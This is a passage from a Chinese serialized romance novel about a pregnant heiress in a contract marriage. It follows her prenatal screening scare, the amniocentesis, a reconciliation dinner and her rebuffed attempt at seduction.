黎铮举着冰激凌递在她嘴边,嫌弃地说:“小孩儿都笑话你,眼泪哗啦的,丑死了。” 甄宝珠哭着冲他喊:“你是不是人啊?我给你生孩子你说我丑,你这个渣男,我生完孩子就跟你离婚!” 走廊人来人往,此时目光都钉在黎铮身上,用眼神对他进行道德批判,甄宝珠还攥着黎铮的方巾擦眼泪,方巾下挡着她狡黠的眼神。 黎铮捂住她的嘴,恨得咬牙切齿,“甄宝珠,你别恩将仇报。” 甄宝珠擦擦眼泪,止不住抽噎:“那、那你…以后还敢不敢阴我了?” “现在是你阴我…” “哇啊过不下去啦~”甄宝珠掰开他的手,哭得更大声了。 周围人越聚越多,几个大爷大妈交头接耳,在黎铮后背指指点点。 “不敢了。”黎铮认怂认得很痛快,“你能不能别演了?” 甄宝珠委屈巴巴看着黎铮,“那你告诉我爸妈,我根红苗正,你歪风邪气,你是你骗我结婚的。” 眼看医院保卫科的人正朝着他们走过来,黎铮咬了咬牙,“行,我负荆请罪,到时候让你爸联合商界排挤我,让你爷爷拿瓷瓶砸我。” 甄宝珠的哭声小了一些,“那你还让不让我换赛道了?” “不换了,谁挡着你继承家业我灭谁,你满意了吧?” 甄宝珠瞬间止住哭声,手指弹去两颊的泪,眼睛挑起笑意,“走吧,黎总,我可算知道你怕什么了。” 烈女怕缠郎,黎铮怕流氓。 甄宝珠夺过他手上的冰激凌,还好心帮忙疏散围观群众。 “散了吧,散了吧,我们小两口好着呢。” * 那几天,甄宝珠心情舒畅,在家里猖狂得很,书也不看了,说费眼睛,让黎铮给她读。 黎铮无可奈何,他能想像到甄宝珠学会这一招,稍不顺心就跑出去哭转着圈儿给他丢人,用不了多久,全世界都会知道黎铮苛待新婚孕妻。 他忘了,现在甄宝珠丢脸就是他丢脸。 黎铮的嗓音读英文很好听,像新闻里的主播,但内容太过枯燥无味,让甄宝珠总犯困。 她说肚里孩子想休息,让黎铮搬个书椅坐在她床前读,她躺在软乎乎的床上,听着助眠男主播,入睡更快了。 别墅的保镖每晚都能从声音监测器里听到朗朗读书声,问了两次黎总是不是有异常情况。 黎总哑着嗓子又烦又倦,“以后把声音检测仪调整到80分贝。” * 这一周的舒心日子随着黎铮出差被打断,甄宝珠很怀疑黎铮是为了躲她才出差。 医院通知她去拿唐氏筛查的检验报告,去了之后医生拿着报告,面容严肃地对她说:“甄小姐,你做的唐筛结果是阳性。” 甄宝珠捏紧衣角,犹豫问道:“阳性…是什么意思?” “你怀的孩子是唐氏儿的风险很高,需要通过无创或者羊水穿刺来确诊。无创是抽血化验,羊水穿刺是取样羊水化验,相比无创,羊水穿刺准确性更高,可以查出所有染色体的异常,我建议你做羊水穿刺,现在技术也比较成熟,风险很小,你考虑一下。” 甄宝珠垂着眼帘,木然点头。 走出医院的时候,她整个人仍是懵的,胸口像被巨石压住,喘不过气。 她是一个从来不怪罪自己,只归咎别人的人。 但是那天她责怪自己,一定是因为她一直喝酒,作息不规律,身体不好,所以才会这样。 她和这个孩子相处了四个多月,时常被孕反折磨得很痛苦,也想过打掉孩子,但现在知道孩子可能无法留住,她心里空空的。 明明是很优秀的基因,为什么会这样? 她不停问自己,不停怪罪自己。 她失魂落魄回到思懿庄园,家里空空荡荡。 “黎铮,你在家吗?” 没人回应她,她孤零零站在没开灯的房子里,仿佛全世界只有她一个人。 月亮趴在窗外偷看人间悲喜,微茫的光给不了任何温暖,反而放大了惨淡。 甄宝珠在原地站了很久,才拿出手机拨通黎铮的电话,也不知道为什么,就是很想打给他。 黎铮的航班晚点,此时刚下飞机,声音疲倦又烦躁,“你又有什么事儿?” 听到黎铮这种口气,甄宝珠所有的话都说不出口了,他只是一个临时爸爸,没有义务对她的所有事情负责。 大概只有她真情实感地入戏了。 甄宝珠眼眶发热,暗吸一口气,“没事儿,就是想问你什么时候回来?” “下周回。”他的回答很简短。 她故作轻松回了一句,“哦,没事了。” 刚要挂断电话,黎铮忽然问:“甄宝珠,你怎么了?” 甄宝珠在电话另一端摇头,“没事儿啊。” “……真没事?” “嗯,挂了。” 电话挂断,她窝在沙发里看着落地窗外的月亮,清冷的月光也似乎离她越来越远,眼泪猝不及防坠落脸颊,就再也收不住了。 她不知道什么时候哭着睡着了,第二天醒来手心还紧紧贴着小腹。 她本以为自己一个人能扛,但她对着镜子梳洗,看着干涩的嘴唇,又红又肿的眼睛,她觉得好像不认识镜子里那人。 肆意洒脱的人生里好像从来都没有如此狼狈的时刻,她发现镜子里那人又哭了,抽出两张纸巾,眼泪擦了又擦。 最后她还是打电话给甄玉珠,她知道她一个人扛不下去。 甄玉珠温柔似水的声音响起,她就收不住哭腔,“姐,我今天要去医院做羊水穿刺,我特别害怕,你陪我去行吗?” 那边短暂沉默后问:“唐筛没过吗?” “嗯。”她拿着纸巾捂住眼睛,身体微微发抖。 “别怕宝珠,你先收拾一下,等着我去接你。” 甄宝珠根本没有化妆的心思,清水洗去脸颊的泪痕,顶着一张素颜,坐在床上一直发呆。 甄玉珠接到她,握住她冰凉的手安慰:“我们宝珠基因很好,一定是医院搞错了,唐筛的准确率也不是百分之百。” 一路上甄玉珠给她打气,又问到黎铮,甄宝珠只是说:“他出差了,不用麻烦他了。” 甄玉珠把她送到超声介入室,甄宝珠一个人进去。 她躺在床上,医生先用超声仪器听过胎心,甄宝珠听着皮肤下强有力的心跳声,无论如何都不愿相信这是一个不健康的孩子。 无菌小蓝布盖在肚皮上,医生取出20厘米的长针,确认她的名字,“你不要紧张,一会儿要扎针的时候不要动,不要躲,扎进去会有一点点痛,和你采血基本是一样的,放松点儿。” 碘伏在她肚皮上涂抹,凉凉的感觉预示着接下来的疼痛。 甄宝珠咬紧牙关一声不吭,眼不错神跟着长针移动目光,她的手指暗暗扣住床沿,全身心都在努力控制发抖的反应。 眼看着长针将要刺进皮肤,温热的大手轻轻覆在她的眼皮上,紧抠床沿的泛白指节被包进温暖的掌心。 “抓着我。” 第19章 第 19 章 让你的嘴歇会儿吧。 甄宝珠好不容易收拾起来的坚强心脏, 在听到黎铮声音的那一刻崩成玻璃碎片,仿佛她是一艘出港飘摇的孤舟,停靠码头才止住颤抖。 她的眼泪迸涌而出, 滚烫热泪渗入他的掌纹,黎铮一言不发,用温柔擦拭她的忧惧。 羊水穿刺进行得很顺利, 甄宝珠换衣服时黎铮退出了介入室, 此时甄玉珠正眼不错神望着介入室的大门, 她身后还跟着那个黎铮叫不出名字的保镖。 “听说黎总出差, 都没有时间陪新婚妻子来医院。” 温婉贤淑的甄玉珠话语中亮出锋芒,但黎铮不感到错愕,仿佛他早知道甄玉珠并不像表面看起来那样无害。 “宝珠没跟我说, 我知道了, 现在回来了。” 黎铮也没心情跟她多说几句。 甄玉珠唇边藏着浅湾,双眸却落了冷霜, “黎总和我妹妹结婚, 就应该只有照顾好我妹妹这一件要紧的事。” 黎铮呵笑。 甄家人都这么霸道无理吗? “玉珠小姐调查我这么长时间, 难道没搞清楚我和宝珠到底是什么关系吗?” 两人目光争锋,互不相让。 “我只查到黎总父母的那次车祸,发现不是意外, 又找人拜访了当年制造车祸的罪犯,他在监狱里被黎总‘照顾’得很好, 时刻没忘黎总,假如有一笔巨额保释金, 我相信他会亲自上门找黎总致谢。” 黎铮的拳头暗紧,缓步走向甄玉珠,却被戎昱伸臂拦住。 “黎总, ”甄玉珠漠然道:“当初我妹妹从栏杆摔下,是我用身体护住了她,那时宝珠六岁,我也只有十二岁,我想告诉你的是,当年我有倾尽全力保护妹妹的觉悟,现在依然有,如果有人敢伤害她……” 她的目光又冷又硬,仿佛已经把黎铮当成了仇敌。 介入室的门打开,甄宝珠被护士搀扶着走出来。 甄玉珠偏头望向甄宝珠,目光瞬间变得温柔,双手努力推着轮椅向妹妹靠近,不料却被黎铮抢先。 黎铮扶着甄宝珠,单手环在她的腰间,语气温和:“还疼吗?” 甄宝珠小脸惨白但嘴硬,“一点儿都不疼。” 医生嘱咐她留观,黎铮给她递了杯热水,甄玉珠和戎昱也凑过来,几双眼睛同时盯着她,好像她是什么珍贵动物。 “医生让我留观。”甄宝珠双手握着杯子。 “嗯,知道。”他们异口同声。 “留观的意思不是你们留下观赏我” 黎铮见她又开始耍贫嘴了,甄玉珠也没有要走的意思,反倒是自己呆在这儿显得不合适。 “那你们陪她吧,我公司还有事情。”黎铮说。 黎铮站起身,西装衣角被甄宝珠拉住,她也不说话,只是把他的衣角攥在手里抓得紧紧的。 甄玉珠短叹口气,“戎昱,还是我们走吧。” 本来以为甄宝珠也会留她,但甄宝珠望着黎铮,也没说一句挽留她的话。 甄玉珠戳了戳她的脑袋,怨道:“小白眼儿狼。” 她走后,黎铮在甄宝珠身边坐下。 甄宝珠手指抠着纸杯,说:“我让你留下,其实是有话想和你说。” 医生告诉她羊水穿刺需要等待一周才会出结果,她才明白原来最难熬的不是抽样过程,而是她接下来胆战心惊的一周。 此时黎铮的出现,多少让她心里有些安慰。 她问:“你不是出差一周,怎么突然回来了?” “我怕你作妖,趁我不在把房子卖了。” 本来是个玩笑,但甄宝珠咬着唇壁,低着头,没有一丝笑模样。 黎铮又说:“你可以告诉我的。” 甄宝珠摸了摸肚子,“这是我的孩子。” “我是你的丈夫。”黎铮说。 她垂下眼睫,踌躇道:“如果,这个孩子真的是唐氏儿,我不能留下ta。” 黎铮微怔,安慰她:“不会的,你怀的是优秀基因。” 甄宝珠沉默片刻,“如果最后留不住,我想我们的协议也应该提前结束了。” 黎铮那双柔情的嘴唇动了动,又抿紧,最后从喉头发出一个音节,“嗯。” 甄宝珠揉了揉肿起来的眼皮,“跟我结婚也没给你什么实际帮助,我们也没有财产可以分割,你送我爷爷的瓷瓶我以后给你折现。” 黎铮点头,嗓音带着疲惫的沙哑,“好。” 杯里的水喝完,甄宝珠把纸杯扔进垃圾桶,“走吧,我回去收拾一下东西。” “你先睡一觉吧,哭了一晚上,不累吗?” 甄宝珠顿住脚步,嘈杂的医院走廊仿佛忽然静音,耳边只剩下黎铮低沉磁性的尾音。 他怎么知道…? 她转过身,发现黎铮深邃的眼窝凹陷,下巴长出青茬,西装也有些褶皱,看起来很疲惫。 “你又监视我了?” 黎铮皱了下眉,矢口否认:“没,你的眼睛肿成单眼皮了。” * 回到家里甄宝珠度过了两个失眠的夜,白天一个人躲在衣帽间,默默整理曾经购买的婴儿服,心情跌到谷底,又掉了几滴眼泪,她把婴儿小袜子套在手指上擦眼泪。 不知何时黎铮出现在衣帽间,他倚着门,静静看着她。 “甄宝珠,”黎铮语气寡淡,“我记得你以前不这样。” 甄宝珠沉浸在悲伤情绪里,哽咽道:“我想一个人呆着。” “我们第一次见面时候你就已经怀孕了吧?还跟我说不喝酒是因为家教森严。”黎铮冷嗤一声。 甄宝珠瞥视他,“现在说这些有意思吗?” 黎铮挑衅一般,“我觉得有意思。” 她站起身,怀里抱着叠好的婴儿服,走到他面前,“你能去医院陪我,我很感谢你,但现在我想一个人呆着,你听不懂人话吗?” 她本来就觉得孩子有问题就是因为自己曾经的放纵行为,黎铮还要死不死地故意提起,让她现在只想迁怒于黎铮。 她用力想要推开黎铮,黎铮却站在门口一动没动,“我话没说完。” 甄宝珠撇过头,不想听他说话。 “你姐姐生日宴上,你脱掉高跟鞋跑上楼,速度快得能参加短跑比赛,在夜色皇宫你握着酒瓶就冲进我的包厢,打算给我开瓢?你就这样折腾,孩子都没事儿,我不相信ta不健康。” 甄宝珠仰起头,一滴泪又掉下来,黎铮抿着唇,用手背抹去她脸颊的热泪。 “别哭了。”他偏着眼神,漫不经心道:“就算ta真的不健康,你打起精神,也能让ta感受到一点快乐。” 甄宝珠看着黎铮,她承认确实受到了一些鼓舞,一直这样自怨自艾确实不像她的性格,她收回眼泪,把怀里的小衣服都推进他怀里。 “你不去当励志讲师真的可惜了,不过你说的对,我开心,孩子才会开心。” 就算她和这个孩子的缘分只能到这里,她也希望孩子能多快乐一天。 她走上楼,趴着栏杆冲楼下的黎铮喊:“今天晚上孩子不想吃健康食品了,吃麻辣小龙虾才会开心,你叫人送来吧,我吃三斤。” 甄宝珠在楼上睡了一下午,醒来已经饿了,一出门就隐隐闻到小龙虾的味道,她揉着睡眼,顺着香味就飘到 餐厅。 餐厅方桌摆了满满一桌,除了小龙虾都是她爱吃的甜口,黎铮正坐在方桌另一头等她吃饭。 她默默把一盆小龙虾挪到自己面前,戴上手套开动,嘴也不闲着,幽幽道:“这么丰盛,散伙饭?” 黎铮没搭理她,她噘嘴不满:“要我说吃小龙虾最好配冰啤酒。” 黎铮抛出一记冷眼,“我让你打精神,不是发神经。” 甄宝珠露出一抹难得笑意,“谁让你提喝酒的事儿,让我特别怀念,你在国外长大,难道不怀念每天开派对的日子吗?” “不怀念。”黎铮淡淡道,“如果你在那里待的够久,就会明白我为什么回国。” 从小生活在那里,他的亚洲脸没让他体会到任何优越感,身份认同一直是他的难题,直到父母去世后,他踏入这片土地,看着周围和他同样肤色的人群,才有了脚踩实地的感觉。 像一株断梗浮萍,找到了属于他的池塘。 甄宝珠托着腮,只觉得黎铮无趣。 她不死心地问:“大学就没参加过什么兄弟会?” 他漫不经心回答:“我每天很忙,学校、家里的餐馆,两点一线。” 之前听黎铮说过家里开中餐馆,甄宝珠却没兴趣了解过,现在吃着散伙饭她倒是来了兴致。 “你家的中餐馆在哪里开?没准我还去吃过呢。” “在费城的华人街。” 甄宝珠检索了一下脑海中的印象,“费城我只去过一次,那次是去见朋友,但我猜一定不好吃,如果好吃的话朋友就会邀请我去华人街吃饭了。” 那次是她和游悠一起去找另一个女生,当晚她们吃西餐,之后喝得五迷三道,她还记得那地方治安不好,晚上回去时她还被街边的疯狗路人骂了。 简而言之,她对那地方没什么好印象。 她一口小龙虾,一口菠萝咕噜肉,一口小龙虾,一口糖醋排骨,一口小龙虾,一口酸甜口的宫保鸡丁,主打一个甜辣中和,营养均衡。 黎铮见她吃得欢实,叩指敲了敲桌子,带着些怨气,“不好吃你还吃这么多。” 甄宝珠一边嚼嚼嚼,一边抬起头:“菜是你做的?” 黎铮嗯了一声,看似满不在乎。 “哪道菜是你做的?” 黎铮的目光扫了一眼满桌饭菜,没说话。 “都是你做的?”她端起碗又夹了一筷子,生怕厨子生气不让她吃了。 “谁说这菜不好吃啊?这菜太棒了!谁以后再嫁给你真是有福气呢!”她连忙开启夸夸模式。 黎铮抬眼望向甄宝珠,“托你的福,谁再嫁给我就是二婚了。” 甄宝珠黠笑,“你懂什么,对于你这种人来说,钻石王老二可比钻石王老五吃香多了。” “怎么说?”黎铮倒要看看她能诡辩什么。 甄宝珠擦了擦被辣到艳红的嘴唇,“如果你没和我结婚,一直保持单身,其他女性和你接触的时候就得想两个问题。第一,这人一直不结婚是不是有什么大毛病?第二,这么有钱还不结婚,要求肯定也很高吧?这两个问题扪心自问之后,很多人就不敢轻易上你了。” 黎铮眉间紧锁,这叫什么话? 甄宝珠继续分析,“但你离婚就不一样了,离过婚证明你曾经结过婚,肯定没什么隐疾,而且离婚之后,曾经觉得你太有钱自己配不上的,也瞬间觉得能配上了,因为你是二婚。所以说,跟我离婚之后,你会更好的。” 黎铮半天没说话,好像还是试着理解。 最后他沉着脸,只说了句:“借你吉言。” 甄宝珠把筷子一伸,打算再探那盘宫保鸡丁,黎铮伸手把盘又往远挪了挪。 他冷冷道:“让你的嘴歇会儿吧。” 甄宝珠扁嘴,他生什么气啊? * 一周后,黎铮又陪她去了医院,路上她的手指一直互相缠着,两条细腿不安稳地晃来晃去。 医生拿出她的检验结果,告诉她羊水穿刺的结果是低风险,这个孩子是很健康的宝宝,没有基因问题。 甄宝珠彻底松了口气,激动得有些热泪盈眶。 拿着报告单走出诊室,黎铮就在外面等她,她一出门黎铮就起身迎了上来。 看她泪眼汪汪,黎铮眉间紧拢,长睫毛遮住眼底的波澜,他稳了稳心神,冷静问道:“结果怎么样?” 甄宝珠展开检查报告,挡住半张脸,双眸重新灿烂,“低风险,黎铮,我的宝宝是健康的。” 紧绷的神经忽然放松,她开心得想原地蹦起来,她不用把那些婴儿服扔掉了,以后都能用得上,因为她会生一个健康的宝宝,现在她已经不要求这个孩子智商有多高,以后会有多优秀,她只希望ta是健康的。 黎铮忽然伸出手臂,抱住了她。 一切都猝不及防,黎铮的手臂紧紧圈住她的肩膀,手掌落在她后脑勺,揉了揉她的头发。 身上的气味把她包裹得严严实实,苦涩与甜蜜的气息交缠融合,像油柑果入口,总有种苦尽甘来的感觉。 她贴着黎铮的胸口,有些喘不过气,心也怦怦直跳,试着推了推他,没推动。 甄宝珠闷闷地说:“检查单被你压坏了。” 黎铮才松开手臂,向后撤了一步。 “我是想…恭喜你。”黎铮目光闪躲。 她咬了咬唇,离开他的怀抱还有些无所适从的感觉,这个男人就像某种春蛊一样,总能让她不分场合地产生一些奇怪的欲望。 场面有些尴尬。 她低顺眉眼,自顾自咕哝:“我们的结婚协议还要继续,你得晚点儿当二婚男了。” “嗯,”黎铮点了下头,“知道了。” 他们一起走出医院,甄宝珠忽然想到什么,对黎铮说:“我还有些事儿要问大夫,你先去停车场。” “什么事儿?我陪你回去问。” “不用不用,我自己去。”甄宝珠摆手,没等黎铮再开口。 她返回门诊,反手把诊室门关紧,认真问道:“医生,我现在能做.爱吗?” 第20章 第 20 章 蠢蠢欲动,蓄势待发。…… 甄宝珠往前倾身, 一脸期盼等待医生的答案,倒把五十来岁的产科医生搞得有些不好意思。 “不能,你刚做完羊水穿刺, 起码需要半个月才能进行轻度的性生活。”产科主任严肃道。 甄宝珠托腮眨眼,她不知道什么叫轻度的性生活,意思是不能太激烈吗? 脑海里不可避免地想像出一些激烈画面, 两朵粉晕瞬间浮在她脸上。 黎铮紧紧抱住她的那一刻, 她确定了一件事她想睡他。 她一个嗜甜如命的人, 嗅到黎铮身上冷冽的苦木气味却不讨厌, 甚至想多闻闻,甚至想扒开衣服闻闻。 这不是想睡他是什么? 医生的回答让她有些失望,拖着脚步慢腾腾走出医院, 黎铮的车正在门口等她。 上车之前甄宝珠透过车窗的倒影快速整理了一下自己的形象, 特意把头发别过耳后,确保她引以为傲的美貌全部被黎铮看到。 结果一上车, 黎铮头都没抬。 他低头看着手机邮件, 随口道:“送你回家, 我马上要出差。” “啊?”她夹起嗓音,试图变出一个娇软甜腻的音色,“你怎么每天这么忙?多辛苦呀。” 黎铮滑动手机的手指停顿了下, 目光瞥过来,“你把声带落医院了?” 甄宝珠也尴尬, 轻咳两声,娇羞捂脸, 只露出一双含情双眼,直勾勾望着黎铮,卷翘睫毛忽闪忽闪。 黎铮被她盯得心里发毛, 自觉道歉:“刚才只是礼节性拥抱,你别阴阳怪气,也不用这么仇视我。” 不是,什么叫阴阳怪气?他又是从哪里看出仇视的眼神啊? 这明明是小嗲精的撒娇和媚眼如丝的渴望。 甄宝珠瞪了一眼不解风情的黎总,心说没关系,反正现在也只能看不能吃,只要她略施手段,小小黎铮迟早被她拿下。 * 黎铮出差那几天,甄宝珠没少忙活,去美容院护理身体和头发、购置新衣服和性感内衣、查看黎铮历年的体检报告。 她已经很久没有为男人忙前忙后了,仿佛重新拾起热恋的感觉,整个人每天轻飘飘的,又期盼又憧憬。 黎铮一周后才回来,她算了算时间,距离羊水穿刺刚好半个多月,天助也! 当时她听到楼下开门的声音,立刻从床上弹起来,特意照了照镜子,走出卧室迎接即将被她拿下的男人。 她站在二楼扶着栏杆,裸露半个肩膀,冲黎铮轻轻挥手,又眼睁睁看着黎铮脚步如风,迳直走进书房,完全忽视了她。 甄宝珠的粉拳锤了下栏杆。 是不是得用撑衣杆砸他的头,他才能看到楼上风情万种的人妻? 她提起半滑的睡袍,蹬蹬蹬几步下楼,猛地推开书房门。 黎铮坐在整片屏幕前,一张脸赛雪欺霜,墨瞳微动,同时观察着几十个不同画面。 甄宝珠穿着锦毛鼠套装卡腰站在他眼前,“回来招呼都不打?” 黎铮仍盯着屏幕,分不出个眼色给她,“昨晚听到什么动静了吗?” 她睡得死沉死沉,能听到什么动静? 修长的手指挪动鼠标,把时间定格在昨夜凌晨,一辆黑车在他门前停留了很长时间,黎铮眯起眼,腮骨紧了紧,手掌也早攥成了拳。 甄宝珠也歪头看着屏幕里的黑车,“这不是我家的车吗?” 黎铮扭脸,“你说什么?” 她指着车尾的HelloKitty挂件,“这个,我挂上的,不过我家的车为什么会半夜停到这里?” 黎铮想到了甄玉珠,他暂松口气。 嗅到甄宝珠身上糖果一样的香甜味道,他才发现甄宝珠撑着手臂,靠他很近,近到他一偏眼就能看到白色睡袍里的蕾丝吊带睡裙。 “你在家穿成这样干什么?”他的语气稍有放松。 甄宝珠小脸红扑扑的,“哦,我打算泡澡。” “那你还站在这里干什么?” “我是说,”甄宝珠的手指向里勾住他的衣服袖口,指腹磨着定制袖扣,“我打算泡澡。” “去吧。”黎铮又陷入监控屏幕。 甄宝珠愤愤然离开书房,褪下睡衣,躺进浴缸,柔润的黑长发浸泡在热水里,白皙手臂拨着水波,打散玫瑰花瓣。 她心里嘀咕,如果这样暗示还不够明显,难道她要脱光了站在他面前吗? 黎铮一直呆在书房,发现属于甄家的那辆车自他出差后就时不时停在门外,暗忖甄玉珠那日在医院对他说的话,不由得眉心紧锁。 此时他手机响起,甄宝珠轻佻磨人的声音从听筒里传来,“黎铮,我找不到浴巾了…” “你打电话给我就能找到了吗?”他揉了揉倦怠的眉心。 “你能不能给我送一套浴巾上来?”电话那边嗲声嗲气。 黎铮沉默片刻,“甄宝珠,我不是你的仆人。” 电话挂断几秒钟,甄宝珠不依不饶又打来一通。 “黎铮,谁让你随便挂我电话的?” 他看着监控屏幕里甄家的车,语气颇为不耐,“我的话已经说完了。” “可我还没说完,”甄宝珠嗓音甜美又真诚,“我其实是想感谢你,感谢你在医院陪我,回家还鼓励我,我晚上想请你吃饭,请你吃啊!” 黎铮先听到什么东西重重摔落的声音,紧跟着就是甄宝珠的惨叫。 “甄宝珠?” 电话那边静悄悄。 黎铮站起身推门走出书房,“甄宝珠,说话。” 电话挂断了。 他几步跨上二楼,没有一丝犹豫推开甄宝珠的浴室。 浴室氤氲的潮湿和玫瑰香气紧裹着他,拨开薄雾似的热气,黎铮看到地上沐浴露和身体乳七零八落。 甄宝珠半身被一层嫣红花瓣遮挡,光着奶油白的肩膀趴在浴缸边,像游动的美人鱼,巴掌小脸被热潮蒸出粉晕,一深一浅的酒窝像清湖激起的涟漪,水汪汪的勾人眼神让他心头一颤。 她笑意狡黠,伸手在虚空处抓了抓,“帮我找浴巾。” 黎铮硬了,拳头硬了。 她竟然敢这么戏耍他。 黎铮转身就走,甄宝珠又可怜巴巴,“我要感冒了。” 浴室的门被人狠狠摔上,甄宝珠懵了,重新打开手机,仔细核对了一下她从网上查到的推倒男人战术。 以前她从来不用费心勾引,都是男人勾引她,就连攻略手册都是她在网上现学的。 按照网上的军师说的,这会儿黎铮怎么也应该给她来个公主抱,或者直接把她扛起来扔床上。 怎么没奏效呢? 几分钟后浴室门又被打开,一块洁白的浴巾直接从门口飞过来,落在她的头顶,盖住她半露的肩膀。 她人还懵着,寻思谁给她套麻袋了? 旋即就嗅到浴巾上属于黎铮的味道,她扯下浴巾,上面刺着黎铮的名字,她的唇角漾起笑意。 她裹着浴巾走出浴室,静静躺在床上,等着甜蜜气味彻底融进那条属于黎铮的浴巾,又细致地涂抹好身体乳,才下楼给他还浴巾。 甄宝珠穿着睡袍,披散半干的头发,脚踩一双毛绒绒的拖鞋,晃着雪白长腿站在他面前,递给他浴巾。 黎铮没接,“不用还了,扔掉吧。” 甄宝珠真的要生气了,他竟然敢嫌弃她。 她甩手把潮湿浴巾扔他身上,转头就要走,黎铮拉住她的手腕,把她按在沙发坐下,冷厉目光擦过她的脸,“甄宝珠,你听没听过狼来了的故事?” 甄宝珠直腰挺了挺小腹,故意道:“你要给我讲故事啊?医生也说现在能进行胎教了。” “你是在作死吗?”黎铮咬着后槽牙。 甄宝珠撸起袖子,翻身抬腿跨在黎铮身上,扯紧他的领带,巧翘鼻尖逼近他挺立的鼻梁,“我倒要看看我怎么死?你有种最好干死我。” 黎铮瞳孔震颤,身体也僵住,沐浴露的甜蜜味道扑向黎铮,一股燥流在身体紧贴处窜动,他脸色微变,本来已经伸出手要护住她腰身,却停在她腰眼后,也再不敢动。 目光停在她艳红的嘴唇,喉结耸动,“你在干什么?” 甄宝珠紧了紧双腿,准备调整一个舒服不卡膝盖的姿势,刚要开口黎铮按住她的腰眼,不平稳的气音像在请求,“别动。” 甄宝珠捏住他的下巴,拇指贴着他下巴颏上的美人窝,“你装什么正人君子?” 还不是蠢蠢欲动,蓄势待发。 “甄宝珠,你到底想干什么?” “我想睡你,看不出来?” 黎铮睫毛低垂,眼皮都染了浅浅的红,让人忍不住想欺负,甄宝珠环着他的脖颈,指尖轻轻碰触滚烫的耳垂。 环在她腰际的手掌越收越紧,热息从她锁骨处涌过,柔情嘴唇微张,克制着喘息问她:“甄宝珠,我们现在是什么关系?” 来了来了,它来了。 破坏氛围的终极问题它来了。 甄宝珠的指尖逆着短发撩拨,贴在他耳边轻笑了会儿,勾住他的领带松开,手指放在第一道衣扣上,说:“是假结婚,但我有点儿馋你。” 黎铮的手突然从甄宝珠腰间挪走,粗暴地拨开她解扣的手,“谢谢你提醒我。” 他阴沉着脸,声线带着愠怒,“现在,从我身上下去。” 20-30 第21章 第 21 章 他明明也想的。 他明明也想的, 她感觉到了。 但他紧锁眉头,面目冰冷,带着不容置喙的命令口气。 甄宝珠愣了下神的功夫, 黎铮已经提腰把她扔在一边。 明明刚才起身时她还感觉到他顶着她,此刻她只感觉好像被人嫌弃了。 “……是因为我怀孕了吗?”她咬着唇,要打破砂锅问到底。 黎铮脸上的红晕渐褪, 重新整理好领带, 把浴巾撇在她的身上, 正好盖住她裸露的小腿。 “我们是假结婚, 以后我希望你在家能穿好内衣,并且,学会自重。” 说完他就上了楼, 把甄宝珠一个人扔在客厅。 平生第一次, 甄宝珠被男人拒绝了,甚至是坐在这个男人身上, 他都推开了她。 她委屈、沮丧、愤怒。 都是成年男女, 他到底在装什么? 别人从来没像他这么死装过, 他归家前陈书禾还给她发微信,邀请她去看他的获奖典礼。 这一刻她投怀送抱,黎铮都不要, 还说她不自重,他凭什么这么对她? 经过一个憋屈失眠的夜晚, 第二天她给陈书禾发了条微信。 【时间地址发来,我去。】 甄宝珠特意坐在客厅化妆打扮, 让黎铮走过路过都要看见她。 可是黎铮一直在书房,似乎是特意躲避和她碰面。 黎铮从书房出来时,她正搞了一身下衣失踪的穿搭, 清透的黑丝袜包裹笔直长腿。 两人刚好在衣帽间转角处碰到,黎铮看着她的丝袜,眉头一紧。 又在作什么妖? 他想。 哪知甄宝珠直接无视了他,穿上马丁靴,包包一甩,摔门而出。 黎铮眼底青白,短叹口气。 甄宝珠失眠的夜里,他也没睡。 他拿出手机,拨通电话:“赵医生,今天约个时间吧。” * 科技展的颁奖典礼枯燥无味,甄宝珠连陈书禾的获奖感言都没太认真听,只顾着坐在后排玩儿游戏。 陈书禾下台后见甄宝珠兴致缺缺,偷偷问她想不想先走,学校里有个冰激凌店很好吃。 随后两人从礼堂后门偷溜出去。 初秋季节,校园的树还都绿着,偶有一片落叶坠地也不会引起路人注意,到处都是大学生两三结伴,甄宝珠微微凸起的孕肚被宽大卫衣遮住,也是一副青春洋溢大学生模样。 只是她自己知道,现在小肚腩也有了,弯个腰明显比以前费劲了。 陈书禾带她去了冰激凌店,点单时甄宝珠把钱付了,说谢谢他上次帮忙解码硬盘。 甄宝珠对着冰激凌发泄情绪,一勺一勺送进嘴里,甜蜜滋味在她口腔化开,她却觉得自己像个小苦瓜。 “姐姐,是颁奖典礼太无聊了吗?你看起来好像不太开心。” 甄宝珠根本没听他说什么,舔了舔唇边的冰激凌,忽然发问:“你会对怀孕的女人勃.起吗?” 她始终认为是因为怀孕,黎铮才嫌弃她,虽然她腰身是不比以前纤细,但也不至于吧。 陈书禾咽下整口冰激凌,冻在喉头话都说不出来,他伸手捋了捋咽喉,“……姐姐,什么意思啊?” “假如你是男人,一个美女坐在你身上,虽然她怀孕了,但身材还没走形,你会不会嫌弃她,把她推开?” 美女、怀孕、没走形。 陈书禾拿这些限定条件和面前的精致千金对比,又低了低头,“我本来就是男人…” 甄宝珠自顾自愤然,“明明已经箭在弦上了,还把人家推开,好像有病。” 陈书禾眼珠转了转,“男人是很难控制欲望的,如果他能控制得住,可能说明他不喜欢你,不是,他不喜欢这个美女,也许…还很讨厌。” “真的?”甄宝珠默默垂下眼帘,有点相信了。 陈书禾用力点头。 原来,黎铮还是讨厌她,所以就算有生理反应,也能很轻易就控制住自己,还是她入戏太深,觉得黎铮抱了她就是喜欢她。 人家也许只是逢场作戏,塑造好老公的人设,说不准还把她的话听进去了,想着人设在外,二婚无忧,才不想和她扯上不清不楚的关系。 她把冰激凌里的配料杏仁放进嘴里,感觉这杏仁也苦巴巴的。 “姐姐,我带你去参观我们校园吧,你怀着宝宝,别总想不开心的事。” “行。”甄宝珠用力戳了戳半融化的冰激淋,“对了,今天颁奖怎么没看到刘白,你们不是一个团队吗?” 陈书禾还挺惊讶,“你不知道吗?游悠和刘白分手了,虽然是刘白提的分手,但他最近状态很不好。这个比赛对我们来说挺重要的,他也半路退出了。” 甄宝珠没好气道:“他提分手?他们在一起过吗?” 陈书禾愣了一下,“那他们算什么?” “算他跟了游悠一段时间,他们那套发展流程明显就是走肾流程啊,他走心了?” 陈书禾:“……” 这个话题也没能进行下去,两人吃完冰激凌,陈书禾带她参观学校,一路走到食堂后门,就看见蹲在角落的熟悉背影。 刘白正蹲在地上,脊背微弓,用剩饭喂一条瘸腿小奶狗,落拓的背影看起来比狗还可怜。 “你用剩饭喂奶狗,容易把它喂死。”甄宝珠站在他身后埋怨。 刘白回头瞥了一眼,见是甄宝珠,语气生硬道:“喂死总比饿死强,站着说话不腰疼。” 